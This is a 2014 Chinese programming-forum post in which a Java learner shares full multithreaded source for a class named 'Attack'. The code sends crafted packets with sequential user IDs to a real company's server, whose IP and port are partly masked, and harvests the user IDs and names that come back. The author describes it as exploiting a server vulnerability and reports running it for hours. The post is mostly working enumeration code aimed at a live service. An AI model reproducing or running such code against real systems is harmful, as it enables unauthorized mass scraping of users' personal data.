本帖最后由 cat73 于 2014-7-23 23:18 编辑
由于Java刚刚自学到String这部分
昨天想写个多线程探测的东东
于是用了我玩过多年的易语言
结果一整天,怎么改怎么崩溃
用几分钟就崩溃了
最后安装了OD,在崩溃后附加调试
发现崩溃的位置是易语言的TCP客户端库里调用的socket函数
原来易语言的库到了多线程会不安全
当时很晚了,就睡了
今早用Java重写了一份,涉及到socket的部分都是去网上查的用法
花了三四个小时吧,整出来了个小程序,挂了七八个小时了,依旧很稳
这个程序用于探测一个服务器的漏洞,为了防止对该公司造成损失,部分代码用"*"隐去
以下是全部代码,IO流以及Socket部分之前没接触过,所以可能写的不大好
希望大家能给个建议喵~~
- package tk.cat73.****;
- import java.io.InputStream;
- import java.io.OutputStream;
- import java.net.InetAddress;
- import java.net.Socket;
- import java.util.concurrent.locks.*;
- class Attack**** implements Runnable {
- private final int THREAD_WAIT;
- private long currentId;
- private ReentrantLock lock = new ReentrantLock();
- Attack****(int threadWait, long startId) {
- THREAD_WAIT = threadWait;
- currentId = startId;
- // try {
- // System.out.println(getUserInfo(41333*****L));
- // } catch (Exception e) {
- // // TODO Auto-generated catch block
- // e.printStackTrace();
- // }
- }
- @SuppressWarnings("static-access")
- public void run() {
- while (true) {
- long thisId = getId();
- try {
- String info = getUserInfo(thisId);
- if(!info.isEmpty())
- System.out.println(info);
- } catch (Exception e) {
- }
- if(thisId % 1000 == 0)
- System.out.println("最新完成:" + thisId);
-
- try {
- Thread.currentThread().sleep(THREAD_WAIT);
- } catch (InterruptedException e) {
- }
- }
- }
- private long getId() {
- lock.lock();
- long thisId = currentId;
- currentId++;
- lock.unlock();
- return thisId;
- }
- private String getUserInfo(long id) throws Exception {
- byte[] recvPackage = getServerRecv(id);
- return recvPackageToUserInfo(recvPackage);
- }
- private String recvPackageToUserInfo(byte[] recvPackage) {
- String userInfo = "userid:";
- long userId = byte4ToInt(recvPackage, 20);
- userInfo += userId;
- userInfo += " name:";
- int index = 28;
- while (recvPackage[index++] != 0)
- ;
- String userName = new String(recvPackage, 28, index - 28 - 1);
- userInfo += userName;
- userInfo += "\n";
- if(userName.trim().equals("")){
- return "";
- } else {
- return userInfo;
- }
- }
- public long byte4ToInt(byte[] bytes, int off) {
- int b0 = bytes[off] & 0xFF;
- int b1 = bytes[off + 1] & 0xFF;
- int b2 = bytes[off + 2] & 0xFF;
- int b3 = bytes[off + 3] & 0xFF;
- long l = ((b3 << 24) | (b2 << 16) | (b1 << 8) | b0) & 0xFFFFFFFFL;
- return l;
- }
- private byte[] getServerRecv(long id) throws Exception {
- try {
- Socket s = new Socket(InetAddress.getByName("221.***.***.***"), 3***5);
- OutputStream os = s.getOutputStream();
- InputStream is = s.getInputStream();
- byte[] sendPackage = getSendPackage(id);
- os.write(sendPackage);
- byte[] recvPackage = new byte[58];
- is.read(recvPackage, 0, 58);
- os.close();
- is.close();
- s.close();
- return recvPackage;
- } catch (Exception e) {
- e.printStackTrace();
- throw new Exception("与服务器交互出现错误");
- }
- }
- private byte[] getSendPackage(long id) {
- byte[] sendPackage = new byte[24];
- // 整包长度
- sendPackage[0] = 24;
- sendPackage[1] = 0;
- sendPackage[2] = 0;
- sendPackage[3] = 0;
- // 未知,疑似版本号
- sendPackage[4] = 1;
- sendPackage[5] = 0;
- sendPackage[6] = 0;
- sendPackage[7] = 0;
- sendPackage[8] = 0;
- sendPackage[9] = 0;
- sendPackage[10] = 0;
- sendPackage[11] = 0;
- sendPackage[12] = 0;
- sendPackage[13] = 0;
- sendPackage[14] = 0;
- sendPackage[15] = 0;
- sendPackage[16] = (byte) (id & 0xff);
- sendPackage[17] = (byte) ((id & 0xff00) >> 8);
- sendPackage[18] = (byte) ((id & 0xff0000) >> 16);
- sendPackage[19] = (byte) ((id & 0xff000000) >> 24);
- sendPackage[20] = 0;
- sendPackage[21] = 0;
- sendPackage[22] = 0;
- sendPackage[23] = 0;
- return sendPackage;
- }
- }
- public class Attack{
- public static void start() {
- int threadCount = 10;
- int threadWait = 100;
- long startId = 41332*****L;
- //String serverIP = "221.***.***.***";
- //int serverPort = 3***5;
- Attack**** att = new Attack****(threadWait, startId);
-
- Thread[] t = new Thread[threadCount];
- for(int i = 0; i < threadCount; i++){
- t[i] = new Thread(att);
- t[i].start();
- }
- }
- }
复制代码
感觉写了这么个小项目之后很好的复习了下以往学过的东西
黑马的自学视频里的实际项目还是太少,基本都是针对某一个问题做练习题的感觉
也不知道是不是我个人的问题,如果经常有些小项目做,我就会一直把精力高度集中在学习上
而要是只看知识点,就有点想睡觉的意思,学进去要好久
你们会不会酱紫捏?
|